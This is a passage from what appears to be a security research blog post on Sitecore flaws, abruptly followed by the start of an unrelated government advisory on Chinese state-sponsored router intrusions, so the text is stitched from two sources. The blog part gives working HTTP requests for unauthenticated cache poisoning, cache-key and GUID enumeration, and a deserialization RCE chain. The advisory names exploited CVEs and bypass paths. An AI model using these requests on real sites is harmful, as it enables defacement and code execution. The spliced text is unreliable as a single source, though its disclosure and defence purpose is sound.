            if (this.VaryByDevice) // [5]
            {
                text2 = text2 + "_#dev:" + Sitecore.Context.GetDeviceName();
            }
            if (this.VaryByLogin) // [6]
            {
                text2 = text2 + "_#login:" + Sitecore.Context.IsLoggedIn.ToString();
            }
            if (this.VaryByUser) // [7]
            {
                text2 = text2 + "_#user:" + Sitecore.Context.GetUserName();
            }
            if (this.VaryByParm) // [8]
            {
                text2 = text2 + "_#parm:" + this.Parameters;
            }
            if (this.VaryByQueryString && site != null) // [9]
            {
                SiteRequest request = site.Request;
                if (request != null)
                {
                    text2 = text2 + "_#qs:" + MainUtil.ConvertToString(request.QueryString, "=", "&");
                }
            }
            if (this.ClearOnIndexUpdate)
            {
                text2 += "_#index";
            }
            return text2;
        }
    }
    return string.Empty;
}

At [1], the code first checks whether caching is enabled for the item. If not, it just returns an empty string and nothing gets stored.

At [2], it builds the base of the cache key from the item name. This is usually derived from either the item’s path or its URL. For example, an item named Sample Sublayout.ascx under Sitecore’s internal /layouts path would start with:

/layouts/Sample Sublayout.ascx

At [3], the language is appended. So for English, the key becomes:

/layouts/Sample Sublayout.ascx_#lang:EN

From there, additional segments can be bolted on depending on the item’s caching configuration. These come from the VaryBy... options ([4] to [9]), and they add complexity to the cache key. Some are trivial to predict (like True or False), while others are essentially impossible to guess (like GUIDs).

Put simply - whether you can target and overwrite a specific cache entry depends entirely on which “Vary By” options are enabled for that item.

Simple Proof of Concept

With a few sample cache keys in hand, you can already start abusing this behavior. Here’s what the original page looks like before poisoning…

Now, let’s send the HTTP cache poisoning request:

GET /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: labcm.dev.local
Content-Length: 110
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang%3aEN_%23login%3aFalse_%23qs%3a_%23index","<html>removedforreadability</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

And voila, we’ve annoyed yet another website:

We now have final proof that our HTML cache poisoning vulnerability works as intended. Time to celebrate with the meme (what else?):

In the example above, an attacker could generate a list of likely cache keys - maybe hundreds - overwrite them one by one, and check which ones affect the rendered page.

That already looks promising, but it wasn’t enough for us. We wanted something cleaner: a way to enumerate cache keys directly, so we could compromise targets instantly and reliably. After a perfectly normal amount of coffee, questionable life choices, and staring at decompiled Sitecore code, we eventually found some ways to do exactly that.

Enumerating Cache Keys with ItemService API

We already know that we can poison Sitecore HTML cache keys - and yes, that gives us the power to quietly sneak watchTowr logos into various websites. As much as we love that idea, the actual exploitation feels… clunky. We can poison the cache, but we don’t know the cache keys. On some pages, brute-forcing them might work (cumbersome), on others it won’t (frustrating). Sigh.

So we set ourselves a new goal: enumerate the cache keys, and move to fully automated pwnage (sorry, we mean “automated watchTowr logo deployment”).

That search led us to something called the ItemService API. By default, it only binds to loopback and blocks remote requests with a 403. But reality is never that neat - it’s not uncommon to see:

  • ItemService exposed directly to the internet
  • Anonymous access enabled (yes, really)

Exposing it is as simple as tweaking a config file, and the vendor even documents how to do it here. We’ve personally seen it hanging out on the public internet, and you’ll find community threads recommending it too.

The result? Anyone can enumerate your Sitecore items, no authentication required. In theory, you’d only expose this in very narrow scenarios, like multiple Sitecore instances talking to each other. In practice? People like to live dangerously.

If you want to check whether your environment has made this “creative configuration decision,” here’s the quick test: send the following HTTP request…

GET /sitecore/api/ssc/item HTTP/2
Host: labcm.dev.local

If you see a 403 Forbidden response, that’s actually “good” news - it means the ItemService API isn’t exposed to the internet (or at least requires authentication).

If it’s fully exposed though, you’ll get a 404 Not Found response instead - which is exactly what we want:

HTTP/2 404 Not Found
...

The item "" was not found.

It may have been deleted by another user.

When the API is exposed, you can use the search endpoint to query any item you want. In our case, we’re especially interested in items that can be cached. For example, here’s a request:

GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100 HTTP/2
Host: labcm.dev.local

We’re specifically interested in Sitecore layouts. In the response below, you can look for items with the Cacheable key set to 1 - which means caching is enabled for them:

{
    "ItemID":"885b8314-7d8c-4cbb-8000-01421ea8f406",
    "ItemName":"Sample Sublayout",
    "ItemPath":"/sitecore/layout/Sublayouts/Sample Sublayout",
    "ParentID":"eb443c0b-f923-409e-85f3-e7893c8c30c2",
    "TemplateID":"0a98e368-cdb9-4e1e-927c-8e0c24a003fb",
    "TemplateName":"Sublayout",
    "Path":"/layouts/Sample Sublayout.ascx",
    "...":"...",
    **"Cacheable":"1",**
    "CacheClearingBehavior":"",
    "ClearOnIndexUpdate":"1",
    "VaryByData":"",
    "VaryByDevice":"1",
    "VaryByLogin":"1",
    "VaryByParm":"",
    "VaryByQueryString":"",
    "VaryByUser":"",
    "restofkeys":"removedforreadability"
}

You can see that the API reveals everything an attacker would want:

  • The full item path (used in the cache key), for example: /layouts/Sample Sublayout.ascx
  • Whether caching is enabled for that item (Cacheable key).
  • Which cache settings are turned on, like VarByData and others.

With this information, the attacker can already predict the structure of the cache key:

/layouts/Sample Sublayout.ascx_#lang:EN_#dev:{DEVICENAME}_#login:{True|False}_#index

The only missing piece is the actual device names. They could guess the default Sitecore ones, but why guess when you can just enumerate all devices directly? For that, they can send a simple HTTP request:

GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100 HTTP/2
Host: labcm.dev.local

And just like that, the response hands over every available device name. One of these values will slot neatly into the cache key - no guesswork required.

"Results":[
    {"ItemName":"Mobile"},
    {"ItemName":"JSON"},
    {"ItemName":"Default"},
    {"ItemName":"Feed"},
    {"ItemName":"Print"},
    {"ItemName":"Extra Extra Large"},
    {"ItemName":"Extra Small"},
    {"ItemName":"Medium"},
    ...
]

The same trick works for all cache key settings. If someone has enabled VaryByData, you can just lean on the API again to enumerate GUIDs of data sources and churn out a neat set of potential cache keys.

Put simply: if the ItemService API is exposed, our HTML cache poisoning stops being “cumbersome exploitation” and turns into “trivial button-clicking.” Why? Because we can enumerate every cacheable item and all the parameters that make up its cache keys. Depending on the environment, that gives you anywhere from a few dozen to a few thousand cache keys to target.

So the exploitation flow looks like this:

  • Attacker enumerates all cacheable items.
  • Attacker enumerates cache settings for those items.
  • Attacker enumerates related items (like devices) used in cache keys.
  • Attacker builds a complete list of valid cache keys.
  • Attacker poisons those cache keys.

(Bonus) WT-2025-0027 (CVE-2025-53694): Enumerating Items with Restricted User

On some rare occasions, you may come across an ItemService API that runs under a restricted anonymous user. How do you spot this? The search returns no results, even when you query for default Sitecore items that should always be present.

A good example is the well-known ServicesAPI user, who has no access to most items (and we already know its password). If the API is configured so that anonymous requests impersonate ServicesAPI, a basic search like this:

GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=&page=0&pagesize=100&includeStandardTemplateFields=true HTTP/2
Host: labcm.dev.local

We will receive a following response:

{
    ...
    "TotalCount":42,
    "TotalPage":1,
    "Links":[],
    "Results":[]
}

The Results array comes back empty, meaning our items were filtered out. That makes sense - the user we’re impersonating isn’t supposed to see them.

But wait… something doesn’t add up.

Alright, something is very wrong here. The API claims there are 42 results, yet the Results array is empty.

Code doesn’t lie, so we dug in.

public ItemSearchResults Search(string term, string databaseName, string language, string sorting, int page, int pageSize, string facet)
{
    //... 
    using (IProviderSearchContext providerSearchContext = searchIndexFor.CreateSearchContext(SearchSecurityOptions.Default))
    {
        //...
        SearchResults<FullTextSearchResultItem> results = this._queryableOperations.GetResults(source); // [1]
        source = this._queryableOperations.Skip(source, pageSize * page);
        source = this._queryableOperations.Take(source, pageSize);
        SearchResults<FullTextSearchResultItem> results2 = this._queryableOperations.GetResults(source); // [2]
        Item[] items = (from i in this._queryableOperations.HitsSelect(results2, (SearchHit<FullTextSearchResultItem> x) => x.Document.GetItem()) // [3]
        where i != null
        select i).ToArray<Item>();
        int num = this._queryableOperations.HitsCount(results); // [4]
        result = new ItemSearchResults
        {
            TotalCount = num,
            NumberOfPages = ItemSearch.CalculateNumberOfPages(pageSize, num),
            Items = items,
            Facets = this._queryableOperations.Facets(results)
        };
    }
    return result;
}

At [1] and [2], an Apache Solr query is performed and the results are retrieved.

At [3], a crucial step is performed. The code will iterate over retrieved items, and it will try to validate if our user (here, ServicesAPI) has access to this item. If yes, it will add it to the items array. If not, it will skip the item and items will not be extended.

At [4], it calculates the number of retrieved items.

This explains the strange behavior we’re seeing, where the result count is accurate but there are no results. Results are being filtered, but their count is calculated on the pre-filtered array.

That’s great, but it’s a bug - how can we abuse this behavior?

Well, if we can leverage our input into the Solr queries - and the reality they accept * and ? - we can likely enumerate items in a similar vein to a blind SQLI?

For instance, we can firstly try to enumerate GUID for the devices with this approach to find GUIDs that start with a:

GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true

Interesting:

"TotalCount":3

So, we can continue like so, finding GUID's that start with aa:

GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:aa*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true

Giving us the total count of:

"TotalCount":2

As you can tell, we can exponentially continue this process to brute-force out valid GUIDs, until we get to the following final result:

GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true

To demonstrate this, we updated our PoC to automatically extract the key of the 1st device:

HTML Cache Poisoning Summary

So, we have now learnt how to poison any HTML cache key stored in the Sitecore cache - but, how painful it is depends on the configuration:

  • Extremely easy: ItemService API is exposed.
  • Easy to middling: ItemService is not exposed, but cache settings are tame enough to guess or brute-force keys.
  • Borderline impossible: ItemService is not exposed, and cache keys include GUIDs or other unknown bits.

WT-2025-0019 (CVE-2025-53691): Post-Auth Deserialization RCE

We wouldn’t be ourselves if we didn’t try to chain this shiny cache poisoning bug with some good old-fashioned RCE. So we kicked off a post-auth RCE hunting session.

One of the easiest starting points when reviewing a Java or C# codebase is to hunt for deserialization sinks, then see if they’re reachable. Our search for BinaryFormatter usages in Sitecore turned up something juicy: the Sitecore.Convert.Base64ToObject wrapper.

What does it do? Exactly what it says on the tin - it takes a base64-encoded string and turns it back into an object, courtesy of an unrestricted BinaryFormatter call. No binders, no checks, no guardrails.

public static object Base64ToObject(string data)
{
    Error.AssertString(data, "data", true);
    if (data.Length > 0)
    {
        try
        {
            byte[] buffer = Convert.FromBase64String(data); // [1]
            BinaryFormatter binaryFormatter = new BinaryFormatter();
            MemoryStream serializationStream = new MemoryStream(buffer);
            return binaryFormatter.Deserialize(serializationStream); // [2]
        }
        catch (Exception exception)
        {
            Log.Error("Error converting data to base64.", exception, typeof(Convert));
        }
    }
    return null;
}

If we could ever reach this method with our own input, it’d be an RCE worthy of an SSLVPN.

The problem? This method is not widely used in Sitecore, but we have spotted a very intriguing code path:

Sitecore.Pipelines.ConvertToRuntimeHtml.ConvertWebControls.Process(ConvertToRuntimeHtmlArgs)
Sitecore.Pipelines.ConvertToRuntimeHtml.ConvertWebControls.Convert(HtmlDocument)
Sitecore.Pipelines.ConvertToRuntimeHtml.ConvertWebControls.Convert(HtmlDocument, HtmlNode, string, SafeDictionary<string,int>)
Sitecore.Convert.Base64ToObject(string)

If you followed our previous Sitecore post, the first method probably rings a bell.

Process methods are sprinkled all over Sitecore pipelines — those familiar chains of methods the platform loves to execute. A quick dig through the Sitecore config shows that one pipeline in particular wires in the Sitecore.Pipelines.ConvertToRuntimeHtml.ConvertWebControls processor:

<convertToRuntimeHtml>
  <processor type="Sitecore.Pipelines.ConvertToRuntimeHtml.PrepareHtml, Sitecore.Kernel" />
  <processor type="Sitecore.Pipelines.ConvertToRuntimeHtml.ShortenLinks, Sitecore.Kernel" />
  <processor type="Sitecore.Pipelines.ConvertToRuntimeHtml.SetImageSizes, Sitecore.Kernel" />
  <processor type="Sitecore.Pipelines.ConvertToRuntimeHtml.ConvertWebControls, Sitecore.Kernel" />
  <processor type="Sitecore.Pipelines.ConvertToRuntimeHtml.FixBullets, Sitecore.Kernel" />
  <processor type="Sitecore.Pipelines.ConvertToRuntimeHtml.FinalizeHtml, Sitecore.Kernel" />
</convertToRuntimeHtml>

Here we are!

The convertToRuntimeHtml pipeline eventually calls ConvertWebControls.Process - and that’s where things could get interesting, because it can lead us straight into an unprotected BinaryFormatter deserialization.

Two questions matter at this point:

  • Can we actually use the ConvertWebControls processor to hit that deserialization sink with attacker-controlled input?
  • And are we even able to trigger the convertToRuntimeHtml pipeline in the first place?

Let’s tackle the first question.

public void Process(ConvertToRuntimeHtmlArgs args)
{
    if (!args.ConvertWebControls)
    {
        return;
    }
    ConvertWebControls.Convert(args.HtmlDocument); // [1]
    ConvertWebControls.RemoveInnerValues(args.HtmlDocument);
}

private static void Convert(HtmlDocument document)
{
    SafeDictionary<string, int> controlIds = new SafeDictionary<string, int>();
    HtmlNodeCollection htmlNodeCollection = document.DocumentNode.SelectNodes("//iframe"); // [2]
    if (htmlNodeCollection != null)
    {
        foreach (HtmlNode htmlNode in ((IEnumerable<HtmlNode>)htmlNodeCollection))
        {
            string src = htmlNode.GetAttributeValue("src", string.Empty).Replace("&amp;", "&");
            ConvertWebControls.Convert(document, htmlNode, src, controlIds); // [3]
        }
    }
    //...
    }
}

At [1], our processor will call the inner Convert method, with (we hope) the attacker-controlled HtmlDocument object.

At [2], the code selects all iframe tags.

It will then iterate over them and will use them in a call to another implementation of Convert method.

private static void Convert(HtmlDocument document, HtmlNode node, string src, SafeDictionary<string, int> controlIds)
{
    NameValueCollection nameValueCollection = new NameValueCollection();
    string text = string.Empty;
    string empty = string.Empty;
    string text2 = string.Empty;
    nameValueCollection.Add("runat", "server");
    src = src.Substring(src.IndexOf("?", StringComparison.InvariantCulture) + 1);
    string[] list = src.Split(new char[]
    {
        '&'
    });
    text = ConvertWebControls.GetParameters(list, nameValueCollection, text, ref empty);
    string id = node.Id; // [1]
    HtmlNode htmlNode = document.DocumentNode.SelectSingleNode("//*[@id='" + id + "_inner']"); // [2]
    if (htmlNode != null)
    {
        text2 = htmlNode.GetAttributeValue("value", string.Empty);
        htmlNode.ParentNode.RemoveChild(htmlNode);
    }
    HtmlNode htmlNode2 = document.CreateElement(empty + ":" + text);
    foreach (object obj in nameValueCollection.Keys)
    {
        string name = (string)obj;
        htmlNode2.SetAttributeValue(name, nameValueCollection[name]);
    }
    if (htmlNode2.Id == "scAssignID")
    {
        htmlNode2.Id = ConvertWebControls.AssignControlId(empty, text, controlIds);
    }
    if (text2.Length > 0)
    {
        htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string); // [3]
    }
    node.ParentNode.ReplaceChild(htmlNode2, node);
}


At [1], the code retrieves the id attribute from the iframe node.

At [2], the code looks for all the tags that contain @id + _inner value.

At [3], the code calls the Sitecore.Convert.Base64ToObject with the value attribute from the extracted node.

There we have it - confirmation. If an attacker controls the HtmlDocument (the pipeline argument), they can drop in malicious HTML like this:

<html>
    <iframe id="test" src="poc" value="poc">
        <test id="test_inner" value="base64-encoded-deserialization-gadget">    
        </test>
    </iframe>
</html>

…and with that, we land straight in Base64ToObject - carrying our encoded deserialization gadget along for the ride!

If this flow feels familiar, your instincts are right. It looks almost identical to a Post-Auth RCE detailed nearly two years ago. The kicker? The vulnerable code is still present today.

The difference is that Sitecore seems to have quietly “patched” it by cutting off the exposed routes into this code path - not by fixing the underlying deserialization sink.

In other words, the dangerous functionality remains, just hidden behind fewer doors.

Now, let’s follow our spider senses and try to look for another way to reach the convertToRuntimeHtml pipeline.

In reality, we didn’t need any special senses - it turned out to be a fairly simple task.

We have identified the Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.FixHtmlPage control:

protected override void OnLoad(EventArgs e)
{
    Assert.ArgumentNotNull(e, "e");
    FixHtmlPage.HasAccess(); // [1]
    base.OnLoad(e);
    if (AjaxScriptManager.Current.IsEvent)
    {
        return;
    }
    UrlHandle urlHandle = UrlHandle.Get();
    string text = HttpUtility.HtmlDecode(this.SanitizeHtml(StringUtil.GetString(urlHandle["html"]))); // [2]
    this.OriginalHtml = text;
    try
    {
        this.Original.InnerHtml = RuntimeHtml.Convert(text, Settings.HtmlEditor.SupportWebControls); // [3]
    }
    catch
    {
    }
    this.OriginalMemo.Value = text;
    //...
}


At [1], a permission check is performed - you need Content Editor rights to get past it.

At [2], the html value is retrieved from the provided session handler. We’ve already described these handlers in our previous blog post - Sitecore can generate session-like handlers and set parameters for them.

At [3], Sitecore.Layouts.Convert(string, bool) is called:

public static string Convert(string body, bool convertWebControls)
{
    Assert.ArgumentNotNull(body, "body");
    ConvertToRuntimeHtmlArgs convertToRuntimeHtmlArgs = new ConvertToRuntimeHtmlArgs();
    convertToRuntimeHtmlArgs.Html = body;
    convertToRuntimeHtmlArgs.ConvertWebControls = convertWebControls;
    using (new LongRunningOperationWatcher(Settings.Profiling.RenderFieldThreshold, "convertToRuntimeHtml", Array.Empty<string>()))
    {
        CorePipeline.Run("convertToRuntimeHtml", convertToRuntimeHtmlArgs); // [1]
    }
    return convertToRuntimeHtmlArgs.Html;
}

You can see that the attacker-supplied HTML will be passed to the convertToRuntimeHtml pipeline, which means it will hit the vulnerable conversion control [1] - achieving RCE.

If you want to reproduce this manually through the UI, just open Content Editor > Edit HTML, paste the malicious HTML into the editor window, and hit the Fix button.

The UI won’t let you exploit this if you only have read access to the Content Editor without write permissions on items. But that doesn’t block exploitation entirely - you can still hit it through a simple HTTP request, no UI required.

The first step is to start the Content Editor application:

GET /sitecore/shell/Applications/Content%20Editor.aspx HTTP/2
Host: labcm.dev.local
Cookie: ...

Then, you need to load the HTML content into the session, as demonstrated in the following HTTP request:

GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx HTTP/2
Host: labcm.dev.local
Cookie: ...
Content-Type: application/x-www-form-urlencoded
Content-Length: 3380

&__PARAMETERS=edithtml%3Afix&__EVENTTARGET=&__EVENTARGUMENT=&__SOURCE=&__EVENTTYPE=&__CONTEXTMENU=&__MODIFIED=&__ISEVENT=1&__CSRFTOKEN=&__PAGESTATE=&__VIEWSTATE=&__EVENTVALIDATION=&scActiveRibbonStrip=&scGalleries=&ctl00$ctl00$ctl05$Html=<html><iframe+id%3d"test"+src%3d"poc"+value%3d"poc"><test+id%3d"test_inner"+value%3d"deser-gadget-here"></test></iframe></html>

Within the response, you will receive a handler hdl that stores your html:

{
    "command":"ShowModalDialog",
    "value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=A4CB99F98F974923BA5BEBB3121B087B",
    ...
}

Finally, it’s enough to visit the endpoint provided in the response, which will trigger the FixHtmlPage control and with our malicious HTML included:

GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=A4CB99F98F974923BA5BEBB3121B087B HTTP/2
Host: labcm.dev.local
Cookie: ...

HTML Cache Poisoning to RCE Chain

That’s it! In totality today we have presented:

  • HTML Cache Poisoning (WT-2025-0023 - CVE-2025-53693) - allows an attacker to achieve unauthenticated HTML cache poisoning.
    • Numerous ways to enumerate/brute-force valid cache keys:
      • “Enumerating Cache Keys with ItemService API” section.
      • “WT-2025-0027 (CVE-2025-53694): Enumerating Items with Restricted User” section.
  • Post-Auth Remote Code Execution:

And just for fun, a reminder of the visuals of all of this combined:

0:00

/0:35

Summary

Whew! This was long. Maybe a little bit too long, but we hope you enjoyed it.

If you don’t - blame people on Twitter (our editor is keen to highlight he voted for shorter, but he accepts his flaws).

To summarise our journey: we managed to abuse a very restricted reflection path to call a method that lets us poison any HTML cache key. That single primitive opened the door to hijacking Sitecore Experience Platform pages - and from there, dropping arbitrary JavaScript to trigger a Post-Auth RCE vulnerability.

Vulnerability chains like this are a reminder - never dismiss something just because it looks boring at first glance. Time is finite, days are short, and digging through endless code paths feels painful. But when you stumble across something that might be powerful - like reflections - it’s worth chasing down every angle. Most of the time, it leads nowhere. Sometimes, it leads to full compromise.

This kind of work is rarely glamorous and usually doesn’t pay off - but when it does, it’s glorious.

Nobody forced us to be researchers, after all, and we live with the late nights and rabbit holes because every so often, one of them leads to a chain that makes the whole effort worthwhile.

Timelines

  • Date: 24th February 2025
  • Detail: WT-2025-0019 discovered and disclosed to Sitecore.
  • Date: 24th February 2025
  • Detail: Sitecore confirms the receipt of the WT-2025-0019 report.
  • Date: 27th February 2025
  • Detail: WT-2025-0023 discovered and disclosed to Sitecore.
  • Date: 28th February 2025
  • Detail: Sitecore confirms the receipt of the WT-2025-0023 report.
  • Date: 7th March 2025
  • Detail: WT-2025-0027 discovered and disclosed to Sitecore.
  • Date: 7th March 2025
  • Detail: Sitecore confirms the receipt of the WT-2025-0027 report.
  • Date: 4th July 2025
  • Detail: Sitecore notifies watchTowr that WT-2025-0019 and WT-2025-0023 had been already fixed on 16th June. WT-2025-0027 still waits for the patch.
  • Date: 8th July 2025
  • Detail: WT-2025-0027 patch released (to watchTowr surprise)
  • Date: 30th July 2025
  • Detail: Sitecore notifies watchTowr that WT-2025-0027 was patched and provides the CVE numbers assigned to the vulnerabilities.
  • Date: 29th August 2025
  • Detail: Blog post published.

The research published by watchTowr Labs is just a glimpse into what powers the watchTowr Platform – delivering automated, continuous testing against real attacker behaviour.

By combining Proactive Threat Intelligence and External Attack Surface Management into a single Preemptive Exposure Management capability, the watchTowr Platform helps organisations rapidly react to emerging threats – and gives them what matters most: time to respond.

Gain early access to our research, and understand your exposure, with the watchTowr Platform

REQUEST A DEMO


Related vulnerabilities: CVE-2025-34510CVE-2025-53691CVE-2025-53694CVE-2025-34509CVE-2025-53693CVE-2025-34511

Countering Chinese State-Sponsored Actors Compromise of Networks Worldwide to Feed Global Espionage System | CISA

Executive summary

People’s Republic of China (PRC) state-sponsored cyber threat actors are targeting networks globally, including, but not limited to, telecommunications, government, transportation, lodging, and military infrastructure networks. While these actors focus on large backbone routers of major telecommunications providers, as well as provider edge (PE) and customer edge (CE) routers, they also leverage compromised devices and trusted connections to pivot into other networks. These actors often modify routers to maintain persistent, long-term access to networks. 

This activity partially overlaps with cyber threat actor reporting by the cybersecurity industry—commonly referred to as Salt Typhoon, OPERATOR PANDA, RedMike, UNC5807, and GhostEmperor, among others. The authoring agencies are not adopting a particular commercial naming convention and hereafter refer to those responsible for the cyber threat activity more generically as “Advanced Persistent Threat (APT) actors” throughout this advisory. This cluster of cyber threat activity has been observed in the United States, Australia, Canada, New Zealand, the United Kingdom, and other areas globally.

This Cybersecurity Advisory (CSA) includes observations from various government and industry investigations where the APT actors targeted internal enterprise environments, as well as systems and networks that deliver services directly to customers. This CSA details the tactics, techniques, and procedures (TTPs) leveraged by these APT actors to facilitate detection and threat hunting, and provides mitigation guidance to reduce the risk from these APT actors and their TTPs.

This CSA is being released by the following authoring and co-sealing agencies:

  • United States National Security Agency (NSA)
  • United States Cybersecurity and Infrastructure Security Agency (CISA)
  • United States Federal Bureau of Investigation (FBI)
  • United States Department of Defense Cyber Crime Center (DC3)
  • Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
  • Canadian Centre for Cyber Security (Cyber Centre)
  • Canadian Security Intelligence Service (CSIS)
  • New Zealand National Cyber Security Centre (NCSC-NZ)
  • United Kingdom National Cyber Security Centre (NCSC-UK)
  • Czech Republic National Cyber and Information Security Agency (NÚKIB) - Národní úřad pro kybernetickou a informační bezpečnost
  • Finnish Security and Intelligence Service (SUPO) - Suojelupoliisi
  • Germany Federal Intelligence Service (BND) - Bundesnachrichtendienst
  • Germany Federal Office for the Protection of the Constitution (BfV) -   Bundesamt für Verfassungsschutz
  • Germany Federal Office for Information Security (BSI) - Bundesamt für Sicherheit in der Informationstechnik
  • Italian External Intelligence and Security Agency (AISE) - Agenzia Informazioni e Sicurezza Esterna
  • Italian Internal Intelligence and Security Agency (AISI) - Agenzia Informazioni e Sicurezza Interna
  • Japan National Cyber Office (NCO) - 国家サイバー統括室
  • Japan National Police Agency (NPA) - 警察庁
  • Netherlands Defence Intelligence and Security Service (MIVD) - Militaire Inlichtingen- en Veiligheidsdienst
  • Netherlands General Intelligence and Security Service (AIVD) - Algemene Inlichtingen- en Veiligheidsdienst
  • Polish Military Counterintelligence Service (SKW) - Służba Kontrwywiadu Wojskowego
  • Polish Foreign Intelligence Agency (AW) - Agencja Wywiadu
  • Spain National Intelligence Centre (CNI) - Centro Nacional de Inteligencia

The authoring agencies strongly urge network defenders to hunt for malicious activity and to apply the mitigations in this CSA to reduce the threat of Chinese state-sponsored and other malicious cyber activity.

Any mitigation or eviction measures listed within are subject to change as new information becomes available and ongoing coordinated operations dictate. Network defenders should ensure any actions taken in response to the CSA are compliant with local laws and regulations within the jurisdictions within which they operate. 

Background

The APT actors have been performing malicious operations globally since at least 2021. These operations have been linked to multiple China-based entities, including at least Sichuan Juxinhe Network Technology Co. Ltd. (四川聚信和网络科技有限公司), Beijing Huanyu Tianqiong Information Technology Co., Ltd. (北京寰宇天穹信息技术有限公司), and Sichuan Zhixin Ruijie Network Technology Co., Ltd. (四川智信锐捷网络科技有限公司). These companies provide cyber-related products and services to China’s intelligence services, including multiple units in the People’s Liberation Army and Ministry of State Security. The data stolen through this activity against foreign telecommunications and Internet service providers (ISPs), as well as intrusions in the lodging and transportation sectors, ultimately can provide Chinese intelligence services with the capability to identify and track their targets’ communications and movements around the world.

For more information on PRC state-sponsored malicious cyber activity, see CISA’s People's Republic of China Cyber Threat Overview and Advisories webpage.

Download the PDF version of this report:

For a downloadable list of IOCs, visit:

Cybersecurity Industry Tracking

The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to this Chinese state-sponsored cyber activity. While not all encompassing, the following are the most notable threat group names related to this activity and commonly used within the cybersecurity community:

  • Salt Typhoon,
  • OPERATOR PANDA,
  • RedMike,
  • UNC5807, and
  • GhostEmperor. 

Note: Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the authoring agencies’ understanding for all activity related to these groupings.

Technical details

Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 17 and MITRE ATT&CK for ICS framework, version 17. See the Appendix A: MITRE ATT&CK Tactics and Techniques section of this advisory for a table of the APT actors’ activity mapped to MITRE ATT&CK tactics and techniques.

Initial access

Investigations associated with these APT actors indicate that they are having considerable success exploiting publicly known common vulnerabilities and exposures (CVEs) and other avoidable weaknesses within compromised infrastructure [T1190]. Exploitation of zero-day vulnerabilities has not been observed to date. The APT actors will likely continue to adapt their tactics as new vulnerabilities are discovered and as targets implement mitigations, and will likely expand their use of existing vulnerabilities. The following list is not exhaustive and the authoring agencies suspect that the APT actors may target other devices (e.g., Fortinet firewalls, Juniper firewalls, Microsoft Exchange, Nokia routers and switches, Sierra Wireless devices, Sonicwall firewalls, etc.). 

Defenders should prioritize the following CVEs due to their historical exploitation on exposed network edge devices by these APT actors. Exploited CVEs include:

  • CVE-2024-21887 - Ivanti Connect Secure and Ivanti Policy Secure web-component command injection vulnerability, commonly chained after CVE-2023-46805 (authentication bypass)
  • CVE-2024-3400 - Palo Alto Networks PAN-OS GlobalProtect arbitrary file creation leading to OS command injection. The CVE allows for unauthenticated remote code execution (RCE) on firewalls when GlobalProtect is enabled on specific versions/configurations.
  • CVE-2023-20273 - Cisco Internetworking Operating System (IOS) XE software web management user interface post-authentication command injection/privilege escalation (commonly chained with CVE-2023-20198 for initial access to achieve code execution as root) [T1068]
  • CVE-2023-20198 - Cisco IOS XE web user interface authentication bypass vulnerability
    • While exploiting CVE-2023-20198, the APT actors used the Web Services Management Agent (WSMA) endpoints /webui_wsma_Http or /webui_wsma_Https to bypass authentication and create unauthorized administrative accounts. In some cases, the APT actors obfuscated requests by “double encoding” portions of the path, e.g., /%2577eb%2575i_%2577sma_Http or /%2577eb%2575i_%2577sma_Https [T1027.010]. Observed requests varied in case, so hunting and detection should be case-insensitive and tolerant of over-encoding.
    • After patching this CVE, WSMA endpoints requests are internally proxied, and the system adds a Proxy-Uri-Source HTTP header as part of the remediation logic. The presence of Proxy-Uri-Source header in traffic to /webui_wsma_* indicates a patched device handling the request, not exploitation. This can help distinguish between vulnerable and remediated systems when analyzing logs or captures.
  • CVE-2018-0171 - Cisco IOS and IOS XE smart install remote code execution vulnerability

The APT actors leverage infrastructure, such as virtual private servers (VPSs) [T1583.003] and compromised intermediate routers [T1584.008], that have not been attributable to a publicly known botnet or obfuscation network infrastructure to target telecommunications and network service providers, including ISPs [T1090]. 

The APT actors may target edge devices regardless of who owns a particular device. Devices owned by entities who do not align with the actors’ core targets of interest still present opportunities for use in attack pathways into targets of interest. The actors leverage compromised devices and trusted connections or private interconnections (e.g., provider-to-provider or provider-to-customer links) to pivot into other networks [T1199]. In some instances, the actors modify routing and enable traffic mirroring (switch port analyzer (SPAN)/remote SPAN (RSPAN)/encapsulated remote SPAN (ERSPAN) where available) on compromised network devices and configure Generic Routing Encapsulation (GRE)/IPsec tunnels and static routes to achieve the same goal [T1095]. Additionally, these APT actors often simultaneously exploit large numbers of vulnerable, Internet-exposed devices across many IP addresses and may revisit individual systems for follow-on operations.

Initial access vectors remain a critical information gap for parties working to understand the scope, scale, and impact of the actors’ malicious activity. The authoring agencies encourage organizations to provide compromise details to appropriate authorities (see Contact information) to continue improving all parties’ understanding and responses.

Persistence

To maintain persistent access to target networks, the APT actors use a variety of techniques. Notably, a number of these techniques can obfuscate the actors’ source IP address in system logs, as their actions may be recorded as originating from local IP addresses [T1027]. Specific APT actions include:

  • Modifying Access Control Lists (ACLs) to add IP addresses. This alteration allows the actors to bypass security policies and maintain ongoing access by explicitly permitting traffic from a threat actor-controlled IP address [T1562.004].
    • The APT actors often named their ACLs “access-list 20”. When 20 was already used, the actors commonly used 50 or 10.
